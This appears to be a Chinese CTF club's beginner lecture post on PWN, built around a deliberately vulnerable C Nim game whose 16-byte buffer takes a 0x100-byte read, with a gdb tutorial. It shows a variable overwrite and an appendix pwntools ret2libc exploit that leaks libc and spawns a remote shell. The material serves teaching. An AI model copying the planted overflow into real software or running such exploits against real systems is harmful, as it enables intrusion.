1. Posts/

CTF入门宣讲-PWN方向

·8419 字·17 分钟
pwn入门 CTF PWN
作者
ta0lve
一些记录,一点思考
PWN入门 - This article is part of a series.
Part 1: This Article

写给学弟学妹的pwn入门宣讲~

0x00 前言 #


0x01 宣讲PWN详情 #

PWN方向是5个方向中最后宣讲的方向,预计在周六晚(2023/9/23)9点半左右开始,也可能提前一些

希望大家都能听到最后(鞠躬)

很抱歉原计划2023/9/23晚的宣讲因不可抗力延迟至下周六9月30日,在此我们深刻检讨,并向大家诚恳道歉。为表补偿,下周宣讲将额外有newstar CTF第一周题目的讲解和答疑,再次对大家表示抱歉,欢迎下周来听宣讲

本周宣讲中pwn方向的内容也将以讲义/博客文章的方式发送给大家,大家可以阅读学习,有任何问题可以先在搜索引擎上试着搜素一下,实在无法解决的话也可以在群里询问我 or 私聊我,我将在自己的能力范围内为大家尽可能的提供帮助

最后,再次表达我们的歉意,预祝大家下周一的 NewStarCTF 比赛顺利,旗开得胜!


0x02 在宣讲前同学们可以做的一些准备 #

1.安装dev-c++ #

因为宣讲时可能需要让大家一起动手操作,一起运行代码+调试,所以建议大家都使用同一个软件

  • 当然,使用mac的xcode的同学和使用linux的同学可以不用装

至于为什么使用dev-c++呢,理由有三


2.在windows下体验gdb #

用mac的同学可以参考;

在Mac安装最新gdb的详细教程,含可能遇到的所有坑(网上最新教程)

  • 浅浅地体验一下gdb与命令行

    • (手把手配置windows环境变量),会配的同学就可以直接跳过啦
    • 右键devcpp快捷方式,选择打开文件所在位置
      • 或者采用其他方式,找到安装的目录即可
      • image-20230923033422305
    • 找到MinGW64目录并双击进入,在找到bin目录再次进入,可以看到一个gdb.exe
      • image-20230923033723419
    • 复制上方的路径(ctrl+c)
      • image-20230923033914876
      • 待会要用到()
    • 配置环境变量,直接左下角搜索环境变量
      • image-20230923124759854
    • (或者找到高级系统设置)然后点击弹窗中的环境变量
      • image-20230923034341109
    • 在用户变量中(系统变量也行)找到一个变量名为Path的环境变量,点击编辑
      • image-20230923034528348
    • 点击新建,将刚才复制的路径粘贴进去并点击确定保存
      • image-20230923035347166
    • 之后一直点击确认退出,在右下角的搜索框内输入cmd并回车打开windows命令行工具(powershell也OK)
      • image-20230923035121405
    • 在命令行上面输入命令gdb,回车看看是不是成功设置好了环境变量
      • image-20230923035526464
      • 注:有些旧版本Windows设置完环境变量要重启才能生效
    • 如何使用可以先在网上搜索一些教程~
      • 今晚宣讲的时候也会教大家用一些基本的命令
      • 直接看下面的0x07部分(鞠躬)

3.提前阅读、运行今天晚上的源码 #

(在qq群里面也发了源码)

0x03 编译运行程序 #

源代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <stdint.h>

// disable stack protector
// you can also add -fno-stack-protector when compiling
// why we need to do this? what is stack protector?
#if defined(__clang__)
    #define DISABLE_STACK_PROTECTOR __attribute__ ((no_stack_protector)) 
#elif defined(__GNUC__) || defined(__GNUG__)
    #define DISABLE_STACK_PROTECTOR __attribute__((__optimize__("-fno-stack-protector")))
#elif defined(_MSC_VER)
    #define DISABLE_STACK_PROTECTOR __attribute__ ((no_stack_protector)) 
#endif

int player_select(int tokens_cnt, int take);
int computer_select(int tokens_cnt);
void success();

int DISABLE_STACK_PROTECTOR main() {

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("W4terCTF Nim Game level 3\n");
    printf("You carry the future of humanity. A powerful AI invites you to play nimgame.\n");
    printf("Once you lose, it will dominate the world!\n");
    printf("How to play: There are 16 tokens on the table. Each player can take 1, 2, or 3 tokens at a time. The player who takes the last token wins.\n\n");

    struct {
        char input[16];
        char win_flag;
        int tokens_cnt;
    } Game;
    Game.win_flag = 0;
    Game.tokens_cnt = 16;

    // printf("address of input: %p, address of win_flag: %p\n", Game.input, &Game.win_flag);

    printf("There are %i tokens on the table.\n", Game.tokens_cnt);
    while (Game.tokens_cnt > 0) {
        printf("How many tokens would you like to take?: ");
        read(0, Game.input, 0x100);
        
        printf("\nPlayer takes %s tokens.\n", Game.input);
        Game.input[8] = 0;
        int token = atoi(Game.input);

        int next_tokens_cnt = player_select(Game.tokens_cnt, token);

        if(next_tokens_cnt == Game.tokens_cnt) {
            continue;
        }

        Game.tokens_cnt = next_tokens_cnt;

        if (Game.tokens_cnt == 0) {
            Game.win_flag = 'W';
        }
        else printf("continue\n");

        if(Game.win_flag == 'W') {
            printf("Player wins.\n");
            success();
            break;
        }

        Game.tokens_cnt = computer_select(Game.tokens_cnt);
        if(Game.tokens_cnt == 0) {
            printf("Computer wins.\n");
            break;
        }
    }

    return 0;
}

void success() {
    printf("Congratulations! You beat this power AI\nBut... AI still rules the world...\n");
}

void saving_grace() {
    printf("You really save the world\n");
}

int player_select(int tokens_cnt, int take) {
    if(take < 1 || take > 3) {
        printf("Number of tokens must be between 1 and 3.\n\n");
        return tokens_cnt;
    }

    int remaining_tokens_cnt = tokens_cnt - take;

    printf("%i tokens remaining.\n\n", remaining_tokens_cnt);

    return remaining_tokens_cnt;
}

int computer_select(int tokens_cnt) {
    int take = tokens_cnt % 4;
    if(take == 4) {
        take = 1;
    }

    int remaining_tokens_cnt = tokens_cnt - take;

    printf("\nComputer takes %i tokens.\n", take);
    printf("%i tokens remaining.\n\n", remaining_tokens_cnt);

    return remaining_tokens_cnt;
}
  • 请大家编译这个程序,😈AI打算跟你玩一场尼姆游戏

  • 有发现什么问题吗

    • 你的编译器可能会不乐意编译这个程序,需要关闭一些安全措施

    • Visual Studio等高级IDE会有安全检查

      • 使用 scanf 时编译器提示我们这个函数是不安全的,提示我们使用 scanf_s 来替代

      • 我们可以使用宏定义来关闭安全检查

      • #define _CRT_SECURE_NO_WARNINGS 1
        
    • 但是在vs2019及vs2022中已经没有gets()函数

      • 所以建议先使用dev-c++来编译程序,之后可以考虑使用gcc来编译
    • clang/gcc应该可以编译,但是会出现warning

    • Mac用户使用xcode应该可以编译


0x04 源码分析 #

  • 这些代码实现了一个简单的Nim游戏

    • Nim游戏是一个两人博弈游戏,
    • 玩家轮流从一堆牌中取走任意数量的牌,
    • 最后拿到最后一张牌的玩家获胜
  • 在这个代码中,游戏有16张牌

    • 玩家和计算机轮流拿走牌,每次可以取1、2或3张。
    • 当没有剩余牌时,游戏结束
  • 可以开始挑战了,是否有方法胜利呢?

    • 自己尝试一下吧!

    • sleep(30); // 等待30s
      

(下面的逐行分析宣讲时可能会只挑一些来讲,程序的具体实现其实并不需要在意,觉得讲的慢的同学可以提前看看扩展阅读部分,感觉有些跟不上的同学可以先跟上节奏等宣讲完之后回来看逐行分析慢慢搞懂)


(因为大家的C语言基础不同,所以会讲的稍微详细一些,在部分讲解可能会有一两篇扩展阅读,感兴趣、有时间的同学可以有选择的看一看、学一学)

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <stdint.h>
  • 引入头文件:
  • 这些头文件提供了一些常用的函数和类型定义,比如输入输出函数、随机数函数等

#if defined(__clang__)
    #define DISABLE_STACK_PROTECTOR __attribute__ ((no_stack_protector)) 
#elif defined(__GNUC__) || defined(__GNUG__)
    #define DISABLE_STACK_PROTECTOR __attribute__((__optimize__("-fno-stack-protector")))
#elif defined(_MSC_VER)
    #define DISABLE_STACK_PROTECTOR __attribute__ ((no_stack_protector)) 
#endif
  • 使用了DISABLE_STACK_PROTECTOR宏来禁用栈保护机制

    • 栈保护机制是一种防止缓冲区溢出攻击的安全措施,通过在栈上存储额外的校验值来检测溢出情况。
  • 这段代码使用了条件编译,根据不同的编译器来定义DISABLE_STACK_PROTECTOR宏。

  • 具体而言:

    • 如果使用的是Clang编译器,那么DISABLE_STACK_PROTECTOR被定义为__attribute__((no_stack_protector)),表示禁用栈保护机制。
    • 如果使用的是GCC或者GNU编译器,那么DISABLE_STACK_PROTECTOR被定义为__attribute__((optimize("-fno-stack-protector"))),同样表示禁用栈保护机制。
    • 如果使用的是MSVC编译器,那么DISABLE_STACK_PROTECTOR被定义为__attribute__((no_stack_protector)),同样表示禁用栈保护机制。
  • *扩展阅读


int player_select(int tokens_cnt, int take);
int computer_select(int tokens_cnt);
void success();
  • 这些是函数的原型声明,声明了三个函数
  • player_selectcomputer_selectsuccess

int DISABLE_STACK_PROTECTOR main() {
    // ...
}

setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("W4terCTF Nim Game level 3\n");
printf("You carry the future of humanity. A powerful AI invites you to play nimgame.\n");
printf("Once you lose, it will dominate the world!\n");
printf("How to play: There are 16 tokens on the table. Each player can take 1, 2, or 3 tokens at a time. The player who takes the last token wins.\n\n");
  • 输出游戏的相关信息,向玩家解释游戏规则

  • 可以想想:

    • 怎样才能获得胜利?

    • computer后手是不是一定能够获胜呢?

    • 逻辑设计漏洞与程序实现漏洞

    • sleep(60); // 等待60s
      
  • 注:改编自W4terCTF2023的一道pwn题


struct {
    char input[16];
    char win_flag;
    int tokens_cnt;
} Game;

Game.win_flag = 0;
Game.tokens_cnt = 16;
  • 这里定义了一个结构体 Game,包含三个成员变量

    • 一个长度为16的字符数组 input

      • 即大小只有16(0x10)

      • *扩展-进制 英文 范围 前缀 后缀
        二进制 Binary 0-1 0B B
        八进制 Octal 0-7 0O O
        十进制 Decimal 0-9 D
        十六进制 Hexadecimal 0-9, A-F 0x H
    • 一个字符型变量 win_flag

    • 一个整型变量 tokens_cnt

    • 这个结构体用于保存游戏的状态信息

  • 后面两行代码初始化了结构体 Gamewin_flagtokens_cnt 成员变量的值

  • 其实使用局部变量也是一样的()


// printf("address of input: %p, address of win_flag: %p\n", Game.input, &Game.win_flag);
  • 被注释了所以程序不会运行这个语句
  • 这行代码可以输出结构体 Gameinput 成员变量的地址和 win_flag 成员变量的地址

  printf("There are %i tokens on the table.\n", Game.tokens_cnt);
  // 输出当前剩余的tokens数量
    while (Game.tokens_cnt > 0) { // while循环语句的开始,剩余的数量大于0时循环
        printf("How many tokens would you like to take?: ");
        read(0, Game.input, 0x100);
        // ssize_t read(int fd, void *buf, size_t count);  (搜素引擎)
        // 通过 read 函数从输入中读取玩家输入的内容存储到 Game.input 变量中
        // 可读取0x100大小的内容
        
        printf("\nPlayer takes %s tokens.\n", Game.input);
        Game.input[8] = 0;
        int token = atoi(Game.input);
		// 使用 atoi 函数将输入的字符串转换为整数类型
        // ASCII to integer
        
        int next_tokens_cnt = player_select(Game.tokens_cnt, token);
		// 调用函数 player_select,根据玩家选择的令牌数量更新剩余的令牌数量
        
        if(next_tokens_cnt == Game.tokens_cnt) {
            continue;
        }
		// 如果函数 player_select 返回的剩余令牌数量与之前的数量相等,
        // 说明玩家的选择是非法的,使用 continue 跳过后续的代码,回到循环的开头
        
        Game.tokens_cnt = next_tokens_cnt;

        if (Game.tokens_cnt == 0) {
            Game.win_flag = 'W';
        }
        else printf("continue\n");
		// 如果剩余令牌数量为0,说明玩家取走了最后一个令牌,
        // 将 win_flag 设置为字符 'W'代表玩家胜利,否则输出 "continue"。
        
        if(Game.win_flag == 'W') {
            printf("Player wins.\n");
            success();
            break;
        }
        // 如果 win_flag 的值为 'W',说明玩家取走了最后一个令牌,玩家获胜。
        // 调用函数 success() 并跳出循环

        Game.tokens_cnt = computer_select(Game.tokens_cnt);
        if(Game.tokens_cnt == 0) {
            printf("Computer wins.\n");
            break;
        }
        // 计算机根据当前剩余令牌数量选择要取走的令牌数量,并更新剩余令牌数量
        // 如果剩余令牌数量为0,说明计算机取走了最后一个令牌,计算机获胜。
        // 输出 "Computer wins."并跳出循环
        
    } // while循环语句的结束

void success() {
    printf("Congratulations! You beat this power AI\nBut... AI still rules the world...\n");
}
  • 这是函数 success() 的定义,用于输出玩家获胜的消息
  • 但是好像赢了又没完全赢
    • 如赢()
    • 难道这个漏洞还可以干一些其他事吗?
void saving_grace() {
    printf("You really save the world\n");
}
  • 这是函数 saving_grace() 的定义,用于输出玩家拯救世界的消息
    • 原来这才是真正的获胜

int player_select(int tokens_cnt, int take) {
    if(take < 1 || take > 3) {
        printf("Number of tokens must be between 1 and 3.\n\n");
        return tokens_cnt;
    }

    int remaining_tokens_cnt = tokens_cnt - take;

    printf("%i tokens remaining.\n\n", remaining_tokens_cnt);

    return remaining_tokens_cnt;
}
  • 这是函数 player_select() 的定义,根据玩家选择的令牌数量更新剩余令牌数量,并返回更新后的值
  • 如果玩家选择的数量不符合要求(不在1到3之间),则输出错误信息并返回原来的剩余令牌数量

int computer_select(int tokens_cnt) {
    int take = tokens_cnt % 4;
    if(take == 4) {
        take = 1;
    }

    int remaining_tokens_cnt = tokens_cnt - take;

    printf("\nComputer takes %i tokens.\n", take);
    printf("%i tokens remaining.\n\n", remaining_tokens_cnt);

    return remaining_tokens_cnt;
}
  • 这是函数 computer_select() 的定义,根据当前剩余的令牌数量,计算计算机选择要取走的令牌数量,并更新剩余令牌数量
  • 计算机的选择是根据剩余令牌数量对4取模得到的结果,并确保选择的值不为4
    • 保证计算机在理论上是必赢的

0x05 漏洞利用与调试-level1 #

  • 还记得我们的漏洞吗?

    • struct {
          char input[16];
          char win_flag;
          int tokens_cnt;
      } Game;
      
    • read(0, Game.input, 0x100);
      
  • 程序的胜利条件

    • if(Game.win_flag == 'W') {
      	printf("Player wins.\n");
          success();
          break;
      }
      
  • 我们可不可以利用这个溢出漏洞来取得游戏的胜利呢?

  • 现在请大家取消第41行的注释

    • 再次运行程序,观察程序的输出
    • 思考一下现在如何获取胜利?
  • 输入 aaaaaaaaaaaaaaa(15个’a’加一个换行符),使用调试器观察程序,用任何你喜欢的工具都可以

    • image-20230923200042332
    • 注意上一页两个指针的输出,有没有方法直接修改掉win_flag
  • 从输出的指针上面我们可以知道input的地址与win_flag的地址距离为16(即0x10)

    • 所以当我们输入16个’a’之后就可以讲数据覆盖到win_flag的地址上
    • 就相当于我们将win_flag的值进行了更改
    • (即恶意篡改变量的值)
  • 输入 aaaaaaaaaaaaaaaW(15个’a’加一个’W’加一个换行符)

    • 查看win_flag的值
    • image-20230923200628332
    • 可以看到win_flag的值已经成功的被我们改成了’W'
    • 这意味着当程序执行到第65行时就会输出我们胜利的代码
  • 输入 aaaaaaaaaaaaaaaW 之后我们再随便输入一个1~3之间的数字就可以结束游戏啦

    • image-20230923201208065

0x06 漏洞利用与调试-level2 #

  • 查看success函数的输出,我们发现,简单地将win_flag覆盖成’W’好像并不是真正的胜利

    • void success() {
          printf("Congratulations! You beat this power AI\nBut... AI still rules the world...\n");
      }
      
  • 嘿!注意到程序中还有另一个函数吗?你能让程序执行它吗?(void saving_grace(); )

    • 只有让程序运行到saving_grace函数才是真正的胜利

    • void saving_grace() {
          printf("You really save the world\n");
      }
      
  • 要怎样运行到这个函数呢?

  • 请考虑几个问题:

    • 函数调用的时候发生了什么,程序如何跳转到一个新的函数?

    • 函数返回的时候发生了什么,程序如何知道自己返回到什么地方?

    • 为什么你的老师会说不要返回一个局部变量的指针呢

    • sleep(60); // 等待60s
      

函数调用的基本原理 #

函数的调用一般都是用函数调用栈来实现的

  • 基本栈介绍(copy from ctf-wiki)

    • 栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示
    • 基本栈操作
    • 两种操作都操作栈顶,当然,它也有栈底。
  • 对于一个函数function0function1,已知finction0调用了一次function1

image-20230923204958611

  • function0内部的变量保存在栈上

image-20230923205050657

  • 当他调用function1时,便将下一条要执行的语句的地址压入栈中
    • 下一条要执行的语句的地址为0x10000010

image-20230923205159534

  • 当function1执行完所有语句返回时,函数调用栈就将最上面的返回地址出栈,使得函数执行回0x10000010语句
    • 具体如何实现语句执行操作的可以自行利用搜素引擎解决疑惑,不过可能涉及寄存器等相关知识
    • 目前不全部搞懂也是OK的

image-20230923205815698

image-20230923205841610

  • 思考一下

  • 如果栈上面的这个返回地址的值能被我们覆盖,那么是否可以控制程序的执行流呢

    • sleep(60); // 等待60s
      
    • 比如,我们将返回地址的值从0x10000010覆盖成0x10000020

    • 那么程序的执行是不是就会跳过0x10000010语句和0x100000018语句直接执行0x10000020语句呢?

注:函数调用的基本原理原本是打算用PPT上的动画来讲的,现在在文章上讲的话可能讲得不如其他一些师傅详细,如果还是不太懂的话大家也可以读一读下面的这些文章:

函数调用的基本原理

C语言函数调用栈(一) - clover_toeic - 博客园 (cnblogs.com)

C语言函数调用栈(二) - clover_toeic - 博客园 (cnblogs.com)


课后思考: #

你现在应该已经有了一些想法了,接下来你可能会需要

  • 怎么知道目标函数的地址呢?
    • 你大可直接在程序中多加一行输出,但面对真实世界中的漏洞利用,这是几乎不可能的。
    • 你可能会需要一个反汇编器,例如:IDA,Ghidra,Hopper,Radare 2,甚至使用你的调试器,也可以打印出目标函数的地址
  • 目标函数地址中,并不是每一个字节都可以用你的键盘打出来
    • 你需要一个与程序交互的工具,比如pwntools
  • 接下来你可能会发现,你实际上还是没有办法跳转到目标函数,它的地址一直在变化!怎么办呢?

最后,你可能会发现:

  • 即使你跳转到了这个函数也无济于事,有没有什么方法能够完全掌控这个程序呢
  • 除了执行程序里留下的这个函数,我们还能做什么呢?如果给你一台运行了这个程序的服务器,你是否能够攻入其中呢?

注:原计划此处会有一个真实远程pwn机的演示,看看什么时候还有机会演示一下吧,getshell的exp就放在附录中啦,感兴趣的同学们可以去看一看

0x07 初探 gdb(自行阅读) #

gdb是什么

  • GDB,全称 GNU symbolic debugger,简称 GDB调试器,是 Linux 平台下最常用的一款程序调试器

gdb常用命令学习 #

命令名称 命令缩写 命令说明
run r 运行一个待调试的程序
continue c 让暂停的程序继续运行
next n 运行到下一行
step s 单步执行,遇到函数会进入
until u 运行到指定行停下来
finish fi 结束当前调用函数,回到上一层调用函数处
return return 结束当前调用函数并返回指定值,到上一层函数调用处
jump j 将当前程序执行流跳转到指定行或地址
print p 打印变量或寄存器值
backtrace bt 查看当前线程的调用堆栈
frame f 切换到当前调用线程的指定堆栈
thread thread 切换到指定线程
break b 添加断点
tbreak tb 添加临时断点
delete d 删除断点
enable enable 启用某个断点
disable disable 禁用某个断点
watch watch 监视某一个变量或内存地址的值是否发生变化
list l 显示源码
info i 查看断点 / 线程等信息
ptype ptype 查看变量类型
disassemble dis 查看汇编代码
set args set args 设置程序启动命令行参数
show args show args 查看设置的命令行参数
  • nextstep 都是单步执行,但有一些差别:

    • next单步步过(step over),即遇到函数直接跳过,不进入函数内部

    • step单步步入(step into),即遇到函数会进入函数内部

  • returnfinish 都是退出函数,但有一些差别:

    • return 命令是立即退出当前函数,剩下的代码不会执行了,return 还可以指定函数的返回值
    • finish 命令是会继续执行完该函数剩余代码再正常退出
  • disassemble命令

    • 查看某段代码的汇编指令,pwn常用

x 命令 #

  • 查看内存地址中的值,pwn非常常用

  • 格式:x/<n/f/u> <addr>

  • n

    • 第一个参数n是正整数,表示需要显示的内存单元的个数,即从当前地址向后显示n个内存单元的内容,一个内存单元的大小由第三个参数u定义
  • f

    • 第二个参数f表示addr指向的内存内容的输出格式
    • x 按十六进制格式显示变量
    • d 按十进制格式显示变量
    • u 按十六进制格式显示无符号整型
    • o 按八进制格式显示变量
    • t 按二进制格式显示变量
    • a 按十六进制格式显示变量
    • c 按字符格式显示变量
    • f 按浮点数格式显示变量
    • s对应输出字符串,此处需特别注意输出整型数据的格式
  • u

    • 第三个参数u定义一个内存单元的大小,即以多少个字节作为一个内存单元
    • 默认为4
    • 还可以用被一些字符表示,如b=1 byte, h=2 bytes,w=4 bytes,g=8 bytes
  • <addr>

    • 表示要查看的内存地址
  • 整个命令的诠释:

    • 以addr为起始地址,返回n个单元的值,每个单元对应u个字节,输出格式是f
  • 如:x/ 3uh 0x54320表示:以地址0x54320为起始地址,返回3个单元的值,每个单元有两个字节,输出格式为无符号十六进制

  • 也就是说返回了3*2=6个字节的数据,以十六进制输出,这6个字节的数据,每两个字节为一个单元输出,共输出3个单元


0x08 在NewStarCTF比赛前我们可以做的一些准备: #

附录 #

exp #

该exp假定大家已经能够熟练使用pwntools库ROPgadget工具,且程序的编译环境为linux系统

还不了解的同学可以阅读以下文章后再回来看

基本 ROP - CTF Wiki (ctf-wiki.org)

from pwn import *

sh = remote('ip地址', 端口号)
# sh = process('./nimgame')
context.log_level = 'debug'
sh.recvuntil(b'take?: ')

sh.sendline(b'A'*39)

sh.recvuntil(b'takes ')
sh.recvuntil(b'\n')
libcbase = u64(sh.recv(6).ljust(8, b'\x00'))-0x29d90

log.success("libcbase: "+hex(libcbase))

# 本exp假定题目已经提供了libc库,我们可以使用ROPgadget来搜索gadget
# 若没有提供libc库则需要先使用libcSearcher库来泄漏libc的版本,大家可以自己动手试一下~
ret = libcbase + 0x000000000002a3e6
pop_rdi = libcbase + 0x000000000002a3e5
binsh = libcbase+0x1d8698
system = libcbase + 0x50d60

payload = b'A'*40
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

sh.sendlineafter(b'take?: ', payload)
sh.recv()
sh.sendline(b'a'*16+b'W')
sh.recv()
sh.sendline(b'1')
sh.interactive()

参考链接与推荐阅读: #

pwn入门教程 · ta0lve

CTF经验贴|我们对PWN都有哪些误会 (qq.com)

栈介绍 - CTF Wiki (ctf-wiki.org)

在VMware16虚拟机安装Ubuntu详细教程_vmware16安装ubuntu_wings(hha)的博客-CSDN博客

PWN环境二次搭建记录-Ubuntu 22.04 · ta0lve

IDA Free (hex-rays.com)

Linux 常用保护机制 | Lantern’s 小站

Linux保护机制和绕过方式 - 一点涵 - 博客园 (cnblogs.com)

主函数main和程序入口_start__start函数_Freestyle Coding的博客-CSDN博客

Linux x86 Program Start Up (dbp-consulting.com)

[Linux x86 Program Start Up or- 翻译][注解版] - 知乎 (zhihu.com)

I\O操作之setbuf、setvbuf_ll2323001的博客-CSDN博客

C语言中连续定义两个变量,为什么地址是这样的? - 知乎 (zhihu.com)

gdb x 命令详解

PIE保护详解和常用bypass手段-安全客 - 安全资讯平台 (anquanke.com)

函数调用的基本原理

C语言函数调用栈(一) - clover_toeic - 博客园 (cnblogs.com)

C语言函数调用栈(二) - clover_toeic - 博客园 (cnblogs.com)

基本 ROP - CTF Wiki (ctf-wiki.org)


PWN入门 - This article is part of a series.
Part 1: This Article